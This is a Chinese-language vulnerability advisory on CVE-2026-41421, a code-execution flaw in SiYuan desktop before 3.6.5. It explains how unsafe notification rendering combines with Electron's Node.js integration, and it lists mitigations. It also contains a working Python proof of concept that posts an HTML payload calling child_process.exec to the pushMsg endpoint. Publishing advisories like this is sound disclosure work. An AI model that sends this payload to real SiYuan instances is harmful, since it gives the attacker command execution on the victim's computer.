IPBUF安全漏洞报告
English
CVE-2026-41421 CVSS 8.8 高危

CVE-2026-41421 SiYuan 桌面版代码执行漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-41421
漏洞类型
远程代码执行 (RCE)
CVSS评分
8.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SiYuan

相关标签

RCEXSSSiYuanElectron代码注入

漏洞概述

SiYuan是一款开源的个人知识管理系统。在3.6.5版本之前,SiYuan桌面版在处理通知消息时存在安全漏洞。系统通过POST /api/notification/pushMsg接口接收用户控制的消息内容,并在前端使用insertAdjacentHTML将其作为原始HTML渲染。由于SiYuan桌面版的Electron窗口配置不当,攻击者可以通过构造恶意的HTML消息执行JavaScript代码,进而直接访问Node.js API,最终导致在受害者设备上执行任意桌面代码。

技术细节

该漏洞源于SiYuan桌面版对通知消息的不安全渲染。攻击者可以向POST /api/notification/pushMsg端点发送包含恶意JS代码的HTML载荷。后端接收并广播该消息,前端在message.ts文件中通过insertAdjacentHTML方法将其直接插入DOM。虽然这本质上是一个存储型XSS漏洞,但由于Electron应用的主进程配置存在严重缺陷——具体为nodeIntegration: true、contextIsolation: false以及webSecurity: false,渲染进程中的JavaScript代码可以直接访问Node.js环境。这意味着攻击者不仅限于窃取Cookie或DOM操作,还可以利用Node.js的child_process等模块执行系统命令,从而实现从Web上下文到本地操作系统层面的权限提升,完全控制用户的桌面环境。

攻击链分析

STEP 1
1. 构造攻击载荷
攻击者构造包含恶意JavaScript代码的HTML标签,利用Node.js的child_process模块执行系统命令。
STEP 2
2. 发送恶意请求
攻击者向SiYuan的/api/notification/pushMsg接口发送POST请求,将恶意载荷作为msg参数提交。
STEP 3
3. 消息广播与渲染
后端接收并处理消息,将其广播给所有连接的客户端;桌面端前端使用insertAdjacentHTML将其插入DOM进行渲染。
STEP 4
4. 执行恶意代码
由于Electron配置了nodeIntegration: true且未开启上下文隔离,渲染的JS代码直接在Node.js环境中执行。
STEP 5
5. 获取系统权限
攻击者成功调用系统API,实现远程代码执行(RCE),完全控制用户主机。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target URL for the vulnerable SiYuan instance target_url = "http://localhost:6806/api/notification/pushMsg" # Malicious payload leveraging Node.js integration in Electron # This payload attempts to execute 'calc.exe' on Windows or 'open -a Calculator' on macOS payload = "<img src=x onerror=\"require('child_process').exec('calc.exe')\">" data = { "msg": payload } headers = { "Content-Type": "application/json" } try: response = requests.post(target_url, data=json.dumps(data), headers=headers) if response.status_code == 200: print("[+] Payload sent successfully. Check if the calculator pops up.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

影响范围

SiYuan < 3.6.5

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用桌面版应用的通知功能,或者在网络层面限制对SiYuan服务端/api/notification/*接口的访问,仅允许受信任的内网IP调用该接口。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表